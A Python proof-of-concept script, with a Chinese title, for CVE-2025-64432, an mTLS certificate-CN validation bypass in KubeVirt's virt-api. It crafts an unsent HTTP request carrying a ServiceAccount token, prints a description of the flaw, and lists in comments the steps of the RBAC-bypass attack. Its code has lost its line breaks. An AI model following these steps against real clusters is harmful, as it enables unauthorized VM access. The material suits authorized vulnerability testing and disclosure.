CVE-2025-64432 KubeVirt virt-api组件mTLS认证绕过漏洞

#!/usr/bin/env python3 """ CVE-2025-64432 PoC - KubeVirt mTLS Authentication Bypass This PoC demonstrates the authentication bypass in KubeVirt's virt-api component. Note: This is for educational and authorized testing purposes only. """ import ssl import socket import json from datetime import datetime def create_malicious_request(target_host, target_port, service_account_token): """ Create a malicious request that exploits the CN validation bypass. The attacker uses their own ServiceAccount certificate to impersonate the Kubernetes API server. """ # Construct HTTP request to virt-api aggregated endpoint request = f"""POST /apis/kubevirt.io/v1/namespaces/default/virtualmachineinstances HTTP/1.1 Host: {target_host}:{target_port} Authorization: Bearer {service_account_token} Content-Type: application/json Content-Length: 0 """ return request.encode('utf-8') def exploit_cve_2025_64432(): """ Main exploitation function for CVE-2025-64432 """ target_host = "kubevirt-api-service.namespace.svc" target_port = 6443 print("[*] CVE-2025-64432 KubeVirt Authentication Bypass PoC") print(f"[*] Target: {target_host}:{target_port}") print("[*] Exploiting CN field validation bypass in mTLS authentication...") # Note: In real attack scenario: # 1. Attacker obtains a ServiceAccount token from compromised pod # 2. Attacker uses their own TLS client certificate # 3. The certificate CN is NOT validated against allowed values # 4. This allows bypassing RBAC controls # This PoC simulates the concept without actual exploitation print("[!] This is a demonstration script for authorized testing only") print("[!] Actual exploitation requires:") print(" 1. Access to a pod within the Kubernetes cluster") print(" 2. Ability to create/modify TLS certificates") print(" 3. Network access to virt-api service") print("[*] Vulnerability: Missing CN validation in virt-api mTLS handling") print("[*] Impact: RBAC bypass, unauthorized VM access/creation") if __name__ == "__main__": exploit_cve_2025_64432()